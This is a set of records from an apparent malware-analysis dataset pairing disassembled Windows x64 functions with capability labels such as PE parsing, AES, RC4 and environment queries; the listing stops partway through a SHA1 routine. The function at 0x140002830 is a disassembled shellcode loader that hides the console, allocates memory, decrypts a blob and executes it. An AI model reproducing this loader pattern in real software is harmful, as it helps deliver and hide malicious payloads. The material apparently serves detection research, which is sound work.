joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002410
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140156430]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002430
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002438
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002430
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002480
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002477
test rcx, rcx
je 0x140002430
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002468
xor eax, eax
ret

Function at 0x140002490
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140156430]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400024b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400024d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140156430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024f0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400024f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002544
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002550
add rdx, 0x28
cmp r9, rdx
jne 0x140002530
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002560
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140156430]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002582
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002590
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002582
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002582
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002582
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400025e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400025f8
add rdx, 0x28
cmp rdx, r10
jne 0x1400025d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002607
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002617
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400025ee
test ecx, ecx
jg 0x140002600
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140002830
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, str.ntdll.dll
call dbg.__main
mov rdi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rbp
lea r13, [rsp + 0x38]
call rdi
lea rdx, str.NtProtectVirtualMemory
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rsi
mov rcx, rbp
call rdi
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov r12, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0x1527e0
call r12
xor r8d, r8d
lea r9, [rsp + 0x40]
mov rdx, r13
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
call rbx
mov edx, dword [section..data]
lea rbx, [0x140003020]
mov r9d, 0x10
lea r8, [0x140155800]
mov rcx, rbx
call sym.sREWSlPp_char__unsigned_int__char__unsigned_long_long_
movss xmm0, dword [0x140156078]
call sym.tyYDgmHEKxpruMWR_float_
mov rcx, qword [rsp + 0x38]
mov r8d, 0x1527e0
mov rdx, rbx
call sym.memcpy
movss xmm0, dword [0x14015607c]
call sym.tyYDgmHEKxpruMWR_float_
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x34]
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002987
call qword [rsp + 0x38]
call qword [rsp + 0x38]
movss xmm0, dword [0x140156080]
call sym.tyYDgmHEKxpruMWR_float_
mov rcx, rbp
call rdi
lea rdx, str.NtFreeVirtualMemory
mov rcx, rax
call rsi
mov qword [rsp + 0x48], 0
mov rbx, rax
call r12
mov r9d, 0x8000
lea r8, [rsp + 0x48]
mov rdx, r13
mov rcx, rax
call rbx
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
or eax, 0xffffffff
jmp 0x14000297a
Function at 0x1401be422
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x1403f3f70
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x1403f3f98
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp], rax
jae 0x1403f3fe2
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x1403f3f8d
mov rax, qword [rsp + 0x20]
add rsp, 0x18
ret
Function at 0x1401be5ee
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
jmp 0x140228c00
push rdi
sub rsp, 0x10
mov dword [rsp], 0
jmp 0x140228c17
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jge 0x140228e39
movsxd rax, dword [rsp]
lea rcx, [0x14058bf80]
movzx eax, byte [rcx + rax]
mov byte [rsp + 4], al
movzx eax, byte [rsp + 4]
shl eax, 3
movzx ecx, byte [rsp + 4]
sar ecx, 5
and ecx, 1
imul ecx, ecx, 0x11b
xor eax, ecx
movzx ecx, byte [rsp + 4]
sar ecx, 5
and ecx, 2
imul ecx, ecx, 0x11b
xor eax, ecx
movzx ecx, byte [rsp + 4]
sar ecx, 5
and ecx, 4
imul ecx, ecx, 0x11b
xor eax, ecx
movzx ecx, byte [rsp + 4]
shl ecx, 2
movzx edx, byte [rsp + 4]
sar edx, 6
and edx, 1
imul edx, edx, 0x11b
xor ecx, edx
movzx edx, byte [rsp + 4]
sar edx, 6
and edx, 2
imul edx, edx, 0x11b
xor ecx, edx
xor eax, ecx
movzx ecx, byte [rsp + 4]
xor eax, ecx
shl eax, 8
movzx ecx, byte [rsp + 4]
shl ecx, 3
movzx edx, byte [rsp + 4]
sar edx, 5
and edx, 1
imul edx, edx, 0x11b
xor ecx, edx
movzx edx, byte [rsp + 4]
sar edx, 5
and edx, 2
imul edx, edx, 0x11b
xor ecx, edx
movzx edx, byte [rsp + 4]
sar edx, 5
and edx, 4
imul edx, edx, 0x11b
xor ecx, edx
movzx edx, byte [rsp + 4]
xor ecx, edx
shl ecx, 0x10
or eax, ecx
movzx ecx, byte [rsp + 4]
shl ecx, 3
movzx edx, byte [rsp + 4]
sar edx, 5
and edx, 1
imul edx, edx, 0x11b
xor ecx, edx
movzx edx, byte [rsp + 4]
sar edx, 5
and edx, 2
imul edx, edx, 0x11b
xor ecx, edx
movzx edx, byte [rsp + 4]
sar edx, 5
and edx, 4
imul edx, edx, 0x11b
xor ecx, edx
movzx edx, byte [rsp + 4]
shl edx, 2
movzx r8d, byte [rsp + 4]
sar r8d, 6
and r8d, 1
imul r8d, r8d, 0x11b
xor edx, r8d
movzx r8d, byte [rsp + 4]
sar r8d, 6
and r8d, 2
imul r8d, r8d, 0x11b
xor edx, r8d
xor ecx, edx
movzx edx, byte [rsp + 4]
shl edx, 1
movzx r8d, byte [rsp + 4]
sar r8d, 7
and r8d, 1
imul r8d, r8d, 0x11b
xor edx, r8d
xor ecx, edx
shl ecx, 0x18
or eax, ecx
mov dword [rsp + 8], eax
movzx eax, byte [rsp + 4]
shl eax, 3
movzx ecx, byte [rsp + 4]
sar ecx, 5
and ecx, 1
imul ecx, ecx, 0x11b
xor eax, ecx
movzx ecx, byte [rsp + 4]
sar ecx, 5
and ecx, 2
imul ecx, ecx, 0x11b
xor eax, ecx
movzx ecx, byte [rsp + 4]
sar ecx, 5
and ecx, 4
imul ecx, ecx, 0x11b
xor eax, ecx
movzx ecx, byte [rsp + 4]
shl ecx, 1
movzx edx, byte [rsp + 4]
sar edx, 7
and edx, 1
imul edx, edx, 0x11b
xor ecx, edx
xor eax, ecx
movzx ecx, byte [rsp + 4]
xor eax, ecx
mov ecx, dword [rsp + 8]
or ecx, eax
mov eax, ecx
mov eax, eax
shl rax, 0x20
mov ecx, dword [rsp + 8]
or rax, rcx
movzx ecx, byte [rsp + 4]
or rax, rcx
movsxd rcx, dword [rsp]
lea rdx, [0x140676310]
mov qword [rdx + rcx*8], rax
jmp 0x140228c0f
mov byte [0x140676b11], 1
add rsp, 0x10
pop rdi
ret
Function at 0x1401bf287
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
jmp 0x1402b7b80
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov eax, dword [rsp + 0x88]
shl eax, 2
mov eax, eax
mov rcx, qword [rsp + 0x80]
lea rax, [rcx + rax*4]
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.1401ca5b5
mov dword [rsp + 0x20], 4
mov eax, dword [rsp + 0x88]
lea eax, [rax*4 - 4]
mov dword [rsp + 0x24], eax
jmp 0x1402b7be8
mov eax, dword [rsp + 0x20]
add eax, 4
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x24]
sub eax, 4
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x20], eax
jae 0x1402b7c69
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
movdqu xmm0, xmmword [rcx + rax*4]
aesimc xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x80]
movdqu xmm0, xmmword [rcx + rax*4]
aesimc xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
movdqa xmm0, xmmword [rsp + 0x50]
movdqu xmmword [rcx + rax*4], xmm0
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x80]
movdqa xmm0, xmmword [rsp + 0x30]
movdqu xmmword [rcx + rax*4], xmm0
jmp 0x1402b7bd2
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
movdqu xmm0, xmmword [rcx + rax*4]
aesimc xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
movdqa xmm0, xmmword [rsp + 0x60]
movdqu xmmword [rcx + rax*4], xmm0
add rsp, 0x70
pop rdi
ret
Function at 0x1401c1f19
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
jmp 0x1403b6a10
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xc0
mov rax, qword [0x1406610c0]
xor rax, rsp
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xd0]
mov qword [rax], 0
mov rax, qword [rsp + 0xd0]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1403b6b16
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xd0]
mov dword [rsp + 0x20], 8
mov r9d, 1
xor r8d, r8d
lea rdx, [0x1405c3ae8]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1403b6b16
mov rax, qword [rsp + 0xd0]
mov dword [rsp + 0x20], 0x28
mov r9d, 1
xor r8d, r8d
lea rdx, str.Crypto_RNG
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1403b6b16
mov ecx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.CryptAcquireContext
lea rcx, [rsp + 0x38]
call fcn.1401c2103
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.1401befbc
lea rdx, [0x140660360]
lea rcx, [rsp + 0x60]
call fcn.1401ca79a
nop
lea rcx, [rsp + 0x38]
call fcn.1401be6e8
nop
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.1401c2734
add rsp, 0xc0
pop rdi
ret

Function at 0x1401c1f8c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14049afd0
mov rax, rcx
neg rcx
test rax, 7
je 0x14049afed
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x14049b048
test al, 7
jne 0x14049afe0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x14049b001
mov rdx, qword [rax - 8]
test dl, dl
je 0x14049b072
test dh, dh
je 0x14049b06c
shr rdx, 0x10
test dl, dl
je 0x14049b066
test dh, dh
je 0x14049b060
shr rdx, 0x10
test dl, dl
je 0x14049b05a
test dh, dh
je 0x14049b054
shr edx, 0x10
test dl, dl
je 0x14049b04e
test dh, dh
jne 0x14049b001
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret
Function at 0x1401c2027
Capabilities:
Query environment variable

Disassembly:
jmp 0x140503860
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.1405033e0
lea rcx, [rsp + 0x20]
call fcn.140503430
movzx eax, al
test eax, eax
jne 0x1405038a5
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.140503410
mov rax, qword [rsp + 0x40]
jmp 0x14050399f
lea rcx, [rsp + 0x20]
call fcn.140503530
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.1405034d0
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.1401c29b9
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.1401c0f9c
lea rcx, [rsp + 0x28]
call fcn.1401c3599
movzx eax, al
test eax, eax
jne 0x14050393f
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.1401c69ec
lea rcx, [rsp + 0x20]
call fcn.140503410
mov rax, qword [rsp + 0x50]
jmp 0x14050399f
lea rcx, [rsp + 0x20]
call fcn.140503530
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.1401c9133
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.1401c27b6
lea rcx, [rsp + 0x28]
call fcn.1401caa0b
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.1401c69ec
lea rcx, [rsp + 0x20]
call fcn.140503410
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret

Function at 0x1401c21cb
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
jmp 0x140228b00
push rdi
sub rsp, 0x10
mov dword [rsp], 0
jmp 0x140228b17
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jge 0x140228bb6
movsxd rax, dword [rsp]
lea rcx, str.cw
movzx eax, byte [rcx + rax]
mov byte [rsp + 4], al
movzx eax, byte [rsp + 4]
shl eax, 8
movzx ecx, byte [rsp + 4]
shl ecx, 0x10
or eax, ecx
movzx ecx, byte [rsp + 4]
shl ecx, 1
movzx edx, byte [rsp + 4]
sar edx, 7
and edx, 1
imul edx, edx, 0x11b
xor ecx, edx
shl ecx, 0x18
or eax, ecx
mov dword [rsp + 8], eax
movzx eax, byte [rsp + 4]
shl eax, 1
movzx ecx, byte [rsp + 4]
sar ecx, 7
and ecx, 1
imul ecx, ecx, 0x11b
xor eax, ecx
movzx ecx, byte [rsp + 4]
xor eax, ecx
mov ecx, dword [rsp + 8]
or ecx, eax
mov eax, ecx
mov eax, eax
shl rax, 0x20
mov ecx, dword [rsp + 8]
or rax, rcx
movsxd rcx, dword [rsp]
lea rdx, [0x140675b00]
mov qword [rdx + rcx*8], rax
jmp 0x140228b0f
mov eax, 8
imul rax, rax, 0x101
lea rcx, [0x140675b00]
mov qword [rcx + rax], 0
mov eax, 8
imul rax, rax, 0x100
lea rcx, [0x140675b00]
mov qword [rcx + rax], 0
mov byte [0x140676b10], 1
add rsp, 0x10
pop rdi
ret
Function at 0x1401c2d9c
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140449730
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1404490b0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14044976f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1406b6010]
jmp 0x140449779
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x1401c33eb
Capabilities:
Query environment variable

Disassembly:
jmp 0x1405035b0
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1405033e0
lea rcx, [rsp + 0x40]
call fcn.140503560
movzx eax, al
test eax, eax
jne 0x1405035f8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140503410
mov rax, qword [rsp + 0x70]
jmp 0x1405037c9
lea rcx, [rsp + 0x40]
call fcn.140503530
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1405034d0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.140503530
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1401c6023
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14050369e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140503410
mov rax, qword [rsp + 0x80]
jmp 0x1405037c9
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1401c29b9
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1401c23d3
lea rcx, [rsp + 0x48]
call fcn.1401c14b5
movzx eax, al
test eax, eax
jne 0x140503705
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1401be076
lea rcx, [rsp + 0x40]
call fcn.140503410
mov rax, qword [rsp + 0x88]
jmp 0x1405037c9
lea rcx, [rsp + 0x48]
call fcn.1401c3fd5
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.140503530
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1401c6023
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14050379b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1401be076
lea rcx, [rsp + 0x40]
call fcn.140503410
mov rax, qword [rsp + 0xa0]
jmp 0x1405037c9
lea rcx, [rsp + 0x48]
call fcn.1401c234c
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1401be076
lea rcx, [rsp + 0x40]
call fcn.140503410
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x1401c3413
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140449660
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.140449030
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1404496a1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1406b6010]
jmp 0x1404496a7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x1401c35a8
Capabilities:
Get geographical location

Disassembly:
jmp 0x1404edee0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.1404ece10
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1404edf47
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x1406b6030]
jmp 0x1404edf69
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1401c137a
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x1401c35f8
Capabilities:
Terminate process

Disassembly:
jmp 0x1404249f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1401c3cd3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x1402ff120
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1402ff14e
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x40]
cmp qword [rsp], rax
jae 0x1402ff1b1
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov byte [rsp + 8], al
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
movzx ecx, byte [rsp + 8]
xor eax, ecx
mov rcx, qword [rsp]
mov rdx, qword [rsp + 0x28]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
movzx ecx, byte [rsp + 8]
mov byte [rax], cl
jmp 0x1402ff143
add rsp, 0x10
pop rdi
ret
Function at 0x1401c3ee0
Capabilities:
Print debug messages

Disassembly:
jmp 0x140512960
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x1406610c0]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x140512986
jmp 0x140512a03
mov rcx, qword [rbp + 0x30]
call fcn.1401c1f8c
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14051299f
jmp 0x140512a03
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1405129bc
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1401be634
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.1401bf674
test eax, eax
jne 0x140512a03
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1401c2734
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x1401c4994
Capabilities:
Set environment variable

Disassembly:
jmp 0x140505710
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x28
ret

Function at 0x1401c51d2
Capabilities:
Parse pe header

Disassembly:
jmp 0x1404267e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140426800
xor al, al
jmp 0x140426881
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140426813
xor al, al
jmp 0x140426881
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14042683d
xor al, al
jmp 0x140426881
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140426851
xor al, al
jmp 0x140426881
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140426863
xor al, al
jmp 0x140426881
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14042687f
xor al, al
jmp 0x140426881
mov al, 1
add rsp, 0x38
ret
Function at 0x1401c66d6
Capabilities:
Terminate process

Disassembly:
jmp 0x14044aa20
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14044aa4e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.1401c8459
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1401c6893
Capabilities:
Hash data using sha1

Disassembly:
jmp 0x14036d610
mov qword [rsp + 8], rcx
push rdi
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax], 0x67452301
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax], 0xefcdab89
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 0x10]
